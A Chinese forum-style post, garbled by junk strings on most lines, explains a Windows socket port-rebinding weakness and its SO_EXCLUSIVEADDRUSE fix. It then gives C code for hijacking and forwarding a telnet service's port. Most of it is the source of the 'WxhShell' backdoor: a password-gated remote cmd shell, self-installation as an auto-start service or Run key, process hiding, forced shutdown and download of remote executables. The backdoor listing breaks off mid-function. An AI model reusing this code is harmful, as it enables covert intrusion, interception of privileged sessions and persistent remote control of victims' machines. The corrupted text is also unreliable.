在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
tKS'#y!R s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+ /+> : m3T=x = saddr.sin_family = AF_INET;
'
%
d- q4MR9ig1E_ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
XrUc` Q DVk7ks bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Rf4}((y7Y\ 33},lNS| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
iW%~>`tT bZ0{wpeK= 这意味着什么?意味着可以进行如下的攻击:
mNA=<O;i)' { )g
$ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
=\`iC6xP} n }kn|To~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
]9$iUA%Ef rP{Jep! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
!S~0T!afF XCyU)[wY 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
O!G!Gq& gNHS:k\" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
i 558&: S=<OS2W7+r 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
G^|!'V F|a'^:Qs 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?}e^-//*i R53^3"q~ #include
)b?$
4<X^ #include
=Y- .=}jp; #include
NkV81? #include
W3zYE3DZf DWORD WINAPI ClientThread(LPVOID lpParam);
ZEK,Z[' int main()
ZkJLq[:cM {
4/ WKR3X WORD wVersionRequested;
HLkI?mW< DWORD ret;
uUiS:Tp] WSADATA wsaData;
ff;~k?L BOOL val;
#w3J+U 6r SOCKADDR_IN saddr;
<Umr2Vw- SOCKADDR_IN scaddr;
..kFn!5(g int err;
G@KDRv SOCKET s;
YkFAu8b> SOCKET sc;
d#OAM;0}5 int caddsize;
q3vv^~ HANDLE mt;
~N%+ZXh&E DWORD tid;
+[R^ ?~VK wVersionRequested = MAKEWORD( 2, 2 );
7},oY""8 err = WSAStartup( wVersionRequested, &wsaData );
H:|.e)$i if ( err != 0 ) {
.{t*v6(TP printf("error!WSAStartup failed!\n");
$ q*a}d[Q return -1;
A=0{}B# }
q_6fr$-Qh saddr.sin_family = AF_INET;
&b`'RZe =;4K5l{c //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
:C>iV+B j p+8o'dl8= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
XG*> yra` saddr.sin_port = htons(23);
nU' qE if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
D>8p:^3g {
v6|j.; printf("error!socket failed!\n");
kia[d984w return -1;
R `Fgne$4 }
#IZ.px val = TRUE;
a{L&RRJ //SO_REUSEADDR选项就是可以实现端口重绑定的
2WDe34 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{_-T! yb {
v)T#
iw[ printf("error!setsockopt failed!\n");
qTK(sW return -1;
Vz$xV! }
'#yqw% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
`Th~r&GvF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
qFK.ULgP` //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
*RxJ8.G 4BUG\~eI3 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2GORGS% {
9tU"+ ret=GetLastError();
tewp-MKA printf("error!bind failed!\n");
nShXY6bA return -1;
Arg/ge.y }
0VcHz$
6 listen(s,2);
{f\wIZ-K A while(1)
" >.tPn {
}ymW};W caddsize = sizeof(scaddr);
$K!Jm7O\ //接受连接请求
1Xo0(*O sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
zzhZ1;\ if(sc!=INVALID_SOCKET)
1&! i:F# {
r:$tvT* mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
AwXzI;F^ if(mt==NULL)
%-yzU/`JF {
Cyd/HTNh< printf("Thread Creat Failed!\n");
iMJt8sd break;
eM_;rM Cr} }
>vp4R` }
Dc@ O Mr CloseHandle(mt);
{daX?N|V }
OA*O = closesocket(s);
9c[X[Qc WSACleanup();
z`IW[N7Z return 0;
_$96y]Bpi }
wv\K DWORD WINAPI ClientThread(LPVOID lpParam)
9:4S[mz/hD {
2L1y4nnbwo SOCKET ss = (SOCKET)lpParam;
wYf\!]}' SOCKET sc;
pe
vXixl unsigned char buf[4096];
QZ l#^-on SOCKADDR_IN saddr;
)][U6 e long num;
:c~SH/qS DWORD val;
zawu(3?~)5 DWORD ret;
":$4/b6 //如果是隐藏端口应用的话,可以在此处加一些判断
n!4\w>h //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
LAlwQ^v| saddr.sin_family = AF_INET;
>lV,K1Z saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
{lWV H saddr.sin_port = htons(23);
EjLq&QR. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
HP.=6bJWi {
kScZP8yw printf("error!socket failed!\n");
6 X~ ><r return -1;
|-x-CSN }
UsyNn39 val = 100;
_#sy if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:oZ<[#p"* {
_ l|%~ ret = GetLastError();
MvpJ0Y ( return -1;
D_d>A+ }
$_"u2"p if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
KAClV%jP {
p
qz~9y~ ret = GetLastError();
#"4ioTL2 return -1;
:|s8v2am }
TI DgIK if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
9VxM1-8Gs {
Y${' printf("error!socket connect failed!\n");
)$:1e)d closesocket(sc);
X%'z closesocket(ss);
#SHeK 4 return -1;
~o!-[ }
wtek5C^ while(1)
3 09
pl {
n{;Q"\*Sg //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
T#Z&* //如果是嗅探内容的话,可以再此处进行内容分析和记录
9~Dg<wQ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
GM6,LzH num = recv(ss,buf,4096,0);
op}!1y$9P if(num>0)
G]>yk_#/\U send(sc,buf,num,0);
Y6v{eWtSn else if(num==0)
/A7( `l;6 break;
Cq2Wpu-u num = recv(sc,buf,4096,0);
!1)aie+p6 if(num>0)
n4kq=Z% send(ss,buf,num,0);
x]c8?H9,& else if(num==0)
ZIx-mC5 break;
}/a%-07R }
oN1D&* closesocket(ss);
N[/<xW~x?4 closesocket(sc);
-$Z1X_~;)< return 0 ;
P1mg;!tq }
G}pFy0W\S efQ8jO 63W;N7@ ==========================================================
8zx]/> |C4fg6XDL 下边附上一个代码,,WXhSHELL
|Vpp'ipr }emUpju<C ==========================================================
)=~&l={T XZ%,h #include "stdafx.h"
L"bJ#0m a4,V(Hlm #include <stdio.h>
'3>;8(sl #include <string.h>
b&rBWp0# #include <windows.h>
uos8Mav{E #include <winsock2.h>
>G5aFk #include <winsvc.h>
7H3v[ f^Q #include <urlmon.h>
8Rj5~+5 Ms!EK #pragma comment (lib, "Ws2_32.lib")
TWRP|i!i #pragma comment (lib, "urlmon.lib")
sq'm)g ZexC3LD" #define MAX_USER 100 // 最大客户端连接数
:'p)xw4K| #define BUF_SOCK 200 // sock buffer
7%^G]AFi #define KEY_BUFF 255 // 输入 buffer
<Q|\mUS6 SxRJ{m~ #define REBOOT 0 // 重启
9\_s&p=:. #define SHUTDOWN 1 // 关机
DN2 ]Y' HgQjw! #define DEF_PORT 5000 // 监听端口
hZ4 5i?% 5T;LWS #define REG_LEN 16 // 注册表键长度
9<Pg2#*N0 #define SVC_LEN 80 // NT服务名长度
pQa51 nc F1yn@a "=J // 从dll定义API
9+1{a.JO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
oXG_6E!^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
CPJ<A,V typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ZG=]b% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
]K(a32V CH }3*<sxw7< // wxhshell配置信息
i<ES/U\ struct WSCFG {
M}|(:o3Yo int ws_port; // 监听端口
5sY$ char ws_passstr[REG_LEN]; // 口令
MJ:c";KCq0 int ws_autoins; // 安装标记, 1=yes 0=no
gNZwD6GMe? char ws_regname[REG_LEN]; // 注册表键名
H:(B^uH char ws_svcname[REG_LEN]; // 服务名
NN4Z:6W5 char ws_svcdisp[SVC_LEN]; // 服务显示名
!`{?qQ[= char ws_svcdesc[SVC_LEN]; // 服务描述信息
+
f6LG 0q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
? $B4'wc5 int ws_downexe; // 下载执行标记, 1=yes 0=no
L~&S<5? char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ko}& X= char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=IL\T8y09 \'y]m B~k };
,buX| #*A&jo'E // default Wxhshell configuration
S|=)^$: struct WSCFG wscfg={DEF_PORT,
!~E/Rp "xuhuanlingzhe",
0ca0-vY 1,
g(&cq "Wxhshell",
#eJfwc1JY "Wxhshell",
EE'2<"M "WxhShell Service",
u(Mbp$R'? "Wrsky Windows CmdShell Service",
iF`_-t/k "Please Input Your Password: ",
5RLO}Vn] 1,
K\-N'M!Z "
http://www.wrsky.com/wxhshell.exe",
!{l% 3'2 "Wxhshell.exe"
|)7K(R)(= };
8>x5| 7#)k-S!B // 消息定义模块
WoXAOj%iW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~?NCmU=3 char *msg_ws_prompt="\n\r? for help\n\r#>";
!8p>4 |VM char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
>9w^C1" char *msg_ws_ext="\n\rExit.";
s$(%]~P char *msg_ws_end="\n\rQuit.";
nDn+lWA=g char *msg_ws_boot="\n\rReboot...";
Gm-
"?4( char *msg_ws_poff="\n\rShutdown...";
l
i<9nMZ< char *msg_ws_down="\n\rSave to ";
cEHpa%_5 0/~p1SSun char *msg_ws_err="\n\rErr!";
~T}D#} char *msg_ws_ok="\n\rOK!";
Z&^vEQ Ow-ejo char ExeFile[MAX_PATH];
_CNXyFw.7 int nUser = 0;
"pt[Nm76)8 HANDLE handles[MAX_USER];
UW":&`i int OsIsNt;
0faf4LzU! Cnpl0rV~5 SERVICE_STATUS serviceStatus;
]Z[3 \~? SERVICE_STATUS_HANDLE hServiceStatusHandle;
bN?*p($/ *`OXgkQ // 函数声明
uhq6dhhR int Install(void);
7'+`vt#E int Uninstall(void);
q!&:y7O8 int DownloadFile(char *sURL, SOCKET wsh);
4 4QW&qL!( int Boot(int flag);
e$ void HideProc(void);
Cdl"TZ< int GetOsVer(void);
a/E(GQ,, int Wxhshell(SOCKET wsl);
z .lb(xQ void TalkWithClient(void *cs);
Q-,
4 int CmdShell(SOCKET sock);
OY"BaSEOw} int StartFromService(void);
fwtsr>SV int StartWxhshell(LPSTR lpCmdLine);
V,ZRX}O }!g$k
$y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
=YYqgNz+\w VOID WINAPI NTServiceHandler( DWORD fdwControl );
i_L u 1
=?pL$+G // 数据结构和表定义
qUe2(/TQu SERVICE_TABLE_ENTRY DispatchTable[] =
tklS=R^Vn {
|{MFo) {wscfg.ws_svcname, NTServiceMain},
>Dv=lgPF {NULL, NULL}
lS;S:-
-F };
d}E6d||A =]Y'xzJuu // 自我安装
un6W|{4] int Install(void)
!G;BYr>X {
x =JZ"|TE char svExeFile[MAX_PATH];
eJOo~HIWQ HKEY key;
;rJ#>7K strcpy(svExeFile,ExeFile);
n\JSt}A };(2 na // 如果是win9x系统,修改注册表设为自启动
I<lkociUCG if(!OsIsNt) {
-?T|1FA, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
w2"]%WS % RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ku v< RegCloseKey(key);
aLevml2:T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
eF8um$t9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^YPw'cZZ& RegCloseKey(key);
0/+TQD!L return 0;
arPqVMVr }
z<"\I60Fe }
q[Y*.%~ }
NLWj5K)1P else {
)Z?\9'6e4 LrfyH"#!: // 如果是NT以上系统,安装为系统服务
z81`Lhg6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4p u>f. if (schSCManager!=0)
kZ_5R#xK {
$_Lcw"xO SC_HANDLE schService = CreateService
~i@Z4tj7 (
$/i;UUd schSCManager,
&
V/t0 wscfg.ws_svcname,
!P:~oo= wscfg.ws_svcdisp,
0Ioa;XgOn SERVICE_ALL_ACCESS,
X15e~;& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
bF3}L=z SERVICE_AUTO_START,
@h\u}Ee SERVICE_ERROR_NORMAL,
|w^nCsv svExeFile,
9%uJ:c? NULL,
q(@hYp#O"3 NULL,
/Big^^u NULL,
ZYW=#df R NULL,
s2+s1%^Ll NULL
Yyh X%S % );
(OK;*ZH+T@ if (schService!=0)
D(S^g+rd {
4THGHS^ CloseServiceHandle(schService);
FZtIC77X5 CloseServiceHandle(schSCManager);
<N;HB&mr strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|N>TPK&Xt strcat(svExeFile,wscfg.ws_svcname);
F0 FF:>< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
uod&'g{N RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
U,u\o@3A RegCloseKey(key);
l<nL8/5{< return 0;
?g'? Ou }
tm}0kWx }
>H?{=H+/# CloseServiceHandle(schSCManager);
DbkKmv& }
j kIgEF2d* }
o;@T6-VH Dx27 s return 1;
F\;G'dm }
h{cJ S9e} !_gHIJiq} // 自我卸载
/g!', r, int Uninstall(void)
t|aBe7t7 {
x,
^j=n HKEY key;
7.l[tKh 3Ga!) if(!OsIsNt) {
u>.qhtm[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7,2bR RegDeleteValue(key,wscfg.ws_regname);
%9A6c(L RegCloseKey(key);
>{^&;$G+* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
auTApYS53 RegDeleteValue(key,wscfg.ws_regname);
7x^P 74 RegCloseKey(key);
Q=%1@ ,x" return 0;
F\Gi;6a }
>\ :kP>U }
tQ:)j^\ }
>8nRP%r[5, else {
/gKX%`ZF/r T0ebW
w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
iii2nmiK if (schSCManager!=0)
:YU_ \EV {
n%]1p36 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
z5v)~+"1 if (schService!=0)
c6;tbL {
Z`23z(+ if(DeleteService(schService)!=0) {
Lh6G"f(n CloseServiceHandle(schService);
h`OX()N CloseServiceHandle(schSCManager);
"Fu*F/KW return 0;
^6 F-H( }
geL)v7t+# CloseServiceHandle(schService);
!52]'yub }
?1Lzbou CloseServiceHandle(schSCManager);
l Ud/^u` }
?A/+DRQ( }
"]81+
D p*8LS7UT return 1;
vcnUb$% }
,25Qhz] ++Qg5FukR // 从指定url下载文件
s('<ms int DownloadFile(char *sURL, SOCKET wsh)
j^}p'w Tu{ {
v_PhJKE HRESULT hr;
NuKktQd char seps[]= "/";
F7wpGtt char *token;
wIIxs_2Q0c char *file;
/ov&h; char myURL[MAX_PATH];
"MD char myFILE[MAX_PATH];
j()<.h;' f\FubL strcpy(myURL,sURL);
8*;88vW"2 token=strtok(myURL,seps);
_6v|k}tW'Y while(token!=NULL)
r7r>1W%4 {
gwtR<2,p file=token;
h[M~cZ{ token=strtok(NULL,seps);
y-qbK0=X4 }
M/XxiF e#MEDjm/)g GetCurrentDirectory(MAX_PATH,myFILE);
=^m,|j|d>4 strcat(myFILE, "\\");
2?hc94 strcat(myFILE, file);
I6d4<#Q@L send(wsh,myFILE,strlen(myFILE),0);
sf\p>gb send(wsh,"...",3,0);
(5y+g?9d; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
n$n)!XL/ if(hr==S_OK)
,*SoV~ return 0;
vs-%J6}G else
j^
VAA\ return 1;
b13XHR)0 RHc63b\ }
kXGJZ$ aV?dy4o$ // 系统电源模块
e"9u}-Q@ int Boot(int flag)
:feU {
n4Od4&r HANDLE hToken;
4<b=;8 TOKEN_PRIVILEGES tkp;
B2\R#&X. Ffxf!zS if(OsIsNt) {
f$Fa*O- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
eYd6~T[9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Gq_rZo(@ tkp.PrivilegeCount = 1;
|F_Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[\(}dnj: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
$I40 hk if(flag==REBOOT) {
\mRRx#-r% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
^V]DQ%v"I return 0;
AnK-\4 }
/[Oo*}Dc=F else {
WqX#T if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
FV>j
!>Y return 0;
_&!%yW@ }
TX7B (JZD }
P70\ |M0~y else {
thWQU"z4 if(flag==REBOOT) {
N|cWTbi if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
LgN\%5f- return 0;
QJ{to% }
g wM~W else {
r83chR9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
t Dx!m~[ return 0;
2,.%]U }
&w@~@] }
Y{yN*9a79 ub^v,S8O return 1;
fNz*E|]8& }
_2*Ryz a o_A%?Ld // win9x进程隐藏模块
n^OWz4 void HideProc(void)
^<L;"jl% {
C~\/FrO? 'M"JF;*r HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
y>+xdD0+ if ( hKernel != NULL )
-]=-IiC# {
nv WTx4oy pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
yxfV|ox ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
qucw%hJ r FreeLibrary(hKernel);
UPtWj8h }
1S!<D)n =\v./Q- return;
(GnwK1f }
7 ky$9+~ Z,~"`9>Ss // 获取操作系统版本
1iOQ8hD int GetOsVer(void)
VKa- {
\L14rQ
t OSVERSIONINFO winfo;
r Ntc{{3_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
k:(i sKIA GetVersionEx(&winfo);
7Gb(&'n if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6`LC(Nv%-n return 1;
:sT\-MpQvn else
Y~=]RCg return 0;
;d17xu?ks }
^/+0L[R 5H_%inWM // 客户端句柄模块
QiU!;!s int Wxhshell(SOCKET wsl)
m.~&n!1W*` {
\Yv<TzJ9 SOCKET wsh;
"P:kZ=M
Q struct sockaddr_in client;
&JoMrcEZ DWORD myID;
.ON+ (
#n HLMEB0zh^ while(nUser<MAX_USER)
l6.#s3I[' {
7#Qa/[? D int nSize=sizeof(client);
*b"(r|Ko wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
)=\W
sQ if(wsh==INVALID_SOCKET) return 1;
9E{Bn# Meh?FW||5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
LX<c(i if(handles[nUser]==0)
ZyqTtA!A closesocket(wsh);
HF-Msu6 else
4+mawyM nUser++;
S EY }
*VT@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"m]"%MU78 /p')
u3 return 0;
u!2.[CV }
qx5X2@-;: zx\N^R;Jq // 关闭 socket
9d2#=IJm void CloseIt(SOCKET wsh)
]>@;
2%YvY {
x_Ki5~w5
closesocket(wsh);
5=Bj?xb$' nUser--;
~MY7Ic% ExitThread(0);
RVfRGc^lK }
=y7]9SOq $P]%Px!x // 客户端请求句柄
uVqJl{e\ void TalkWithClient(void *cs)
s<qSelj {
G*BM'^0+ <9bQAyL9 SOCKET wsh=(SOCKET)cs;
t Zj6=# char pwd[SVC_LEN];
q9qmz[ char cmd[KEY_BUFF];
u*Oz1~ char chr[1];
^e8R43w:! int i,j;
}eb%"ZH4| BmrP]3 W? while (nUser < MAX_USER) {
p'k stiB oO @6c % if(wscfg.ws_passstr) {
lGPC)Hu{` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
cFUYT$8> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
LF%1)x //ZeroMemory(pwd,KEY_BUFF);
#2DH_P i=0;
0s0[U while(i<SVC_LEN) {
>^:g[6Sj O)Nt"k7
b // 设置超时
P;
}Z
3! fd_set FdRead;
w0SzK-& struct timeval TimeOut;
j %TYyL- FD_ZERO(&FdRead);
bS/` G0! FD_SET(wsh,&FdRead);
&t%CuU]/@ TimeOut.tv_sec=8;
6WfyP@f TimeOut.tv_usec=0;
w^|,[G^}H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
c7s4 g- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
?
z=>n 4Bx1L+Cg if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
kTiQO2H pwd
=chr[0]; r
%0
if(chr[0]==0xd || chr[0]==0xa) { #j-,#P@
pwd=0; !+uMH!
break; )SA$hwR
} T]^F%D%
i++; [=U7V;5($
} y^@%Xrs
:VN<,1s9p^
// 如果是非法用户,关闭 socket Nr`nL_DQ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2zFdKs,
} 1r~lh#_8
{Y/|7Cl0
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X3W)c&Pr
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a|nlmH"l
$#RD3#=?u
while(1) { 9Biw!%a
MT6kJDyLu
ZeroMemory(cmd,KEY_BUFF); ZC2C`S\xr
2M&4]d
// 自动支持客户端 telnet标准 3~cOQ%#]4
j=0; ='VIbE@qC
while(j<KEY_BUFF) { 3$Is==>7
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;*Rajq
cmd[j]=chr[0]; >`{i[60r
if(chr[0]==0xa || chr[0]==0xd) { c<DYk f
cmd[j]=0; WN?T*bz2
break; WHN b.>
} pM46I"
j++; :.35pp,0
} eGTK^p
tLvli>y@
// 下载文件 25ayYO%PTc
if(strstr(cmd,"http://")) { wP8R=T
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nl_;l
if(DownloadFile(cmd,wsh)) M:I,j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zHdp'J"
else j2P|cBXu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /GXO2zO
} eAuJ}U[
else { [e}]K:
&(rd{j/*
switch(cmd[0]) { 7q^/.:wlf
U3V<ITZI8t
// 帮助 xg^fM@#m
case '?': { 0sUc6_>e
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sN g"JQ
break; vJCL
m/}*
} uc<@
Fh(
// 安装 gU~)(|Nu.
case 'i': { V8sY7QK=
if(Install()) ~Afs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @s@
else v8@dvT<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M[{Cy[ta
break; <R(2 9QN
} +|H'Ij$
// 卸载 amSyGQ2
case 'r': { yJL"uleRT
if(Uninstall()) >ahj|pm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h|H;ZC(B
else w7D:0SGD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bn`zI~WS
break; KCT8Q!\
} mTPj@F>
// 显示 wxhshell 所在路径 1P[Lz!C
case 'p': { iN*>Z(b"
char svExeFile[MAX_PATH]; LF~#4)B
strcpy(svExeFile,"\n\r"); B1M/5cr.
strcat(svExeFile,ExeFile); 2o$8CR;
send(wsh,svExeFile,strlen(svExeFile),0); mqHt%RX
break; ul?BKV+3E
} |gVO Iq
// 重启 +B m+Pj>
case 'b': { S8=4C`> jf
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gAj)3T@
if(Boot(REBOOT)) $Y`aS^IW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zvf]}mNx
else { vO_quQ[ .
closesocket(wsh); KVR}Tp/R
ExitThread(0); (<l2 ^H
} O0~d6Ba
break; wB)+og-^1f
} [&CM-`
N
// 关机 ^kr)U8
case 'd': { qX(%Wn;n
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;}~=W!yz
if(Boot(SHUTDOWN)) !_9$[Oq~
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
i6d$/yP"
else { Q:gn>/
closesocket(wsh); o"FiM5L^.
ExitThread(0); sZ"U=6R
} Hg`{9v
break; 9i}D6te
} EKPTDKut
// 获取shell @q/1m~t
case 's': { eeU$uR
CmdShell(wsh); z#VpS=
closesocket(wsh); ik*)j
ExitThread(0); wzPw;xuG
break; N1~V +_mM
} ?@?a}
// 退出 1fFb7n~3
case 'x': { Sx)Il~ x
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kI3zYD^:
CloseIt(wsh); `4H9f&8(
break; 1Wk
EPj,
} Mlw9#H6
// 离开 \( <{)GpBi
case 'q': { aNC,ccm
send(wsh,msg_ws_end,strlen(msg_ws_end),0); -1
closesocket(wsh); 5\0.[W{^
WSACleanup(); U%DF!~n
exit(1); cXcx_-
break; %Z[/U
} h+3Z.WKhwP
} Gd-.E7CH!
} g]<Z]R`
p=+*g.,O
// 提示信息 iM|"H..
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qH
Ga
} NWHH.1|
} 'e>sHL
k!/_/^{
return; Qf-k&d
} )L<?g!j~
%<C
G|]W
// shell模块句柄 @'r`(o3z!Z
int CmdShell(SOCKET sock) mvA xx`jc
{ .Spi$>v
STARTUPINFO si; oT)VOkFq
ZeroMemory(&si,sizeof(si)); z3Y)-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |5IY`;+9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "h^#<bPN
PROCESS_INFORMATION ProcessInfo; 6eUiI@J
char cmdline[]="cmd"; Cre0e$ a
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R_Gq8t$
return 0; 0"^oTmQN
} lDJd#U'V
Q)6wkY+!
// 自身启动模式 bj7MzlGFy
int StartFromService(void) rF'^w56
{ -hVv
typedef struct r$r&4dY
{ *2Vp4
DWORD ExitStatus; '!fFI 1s
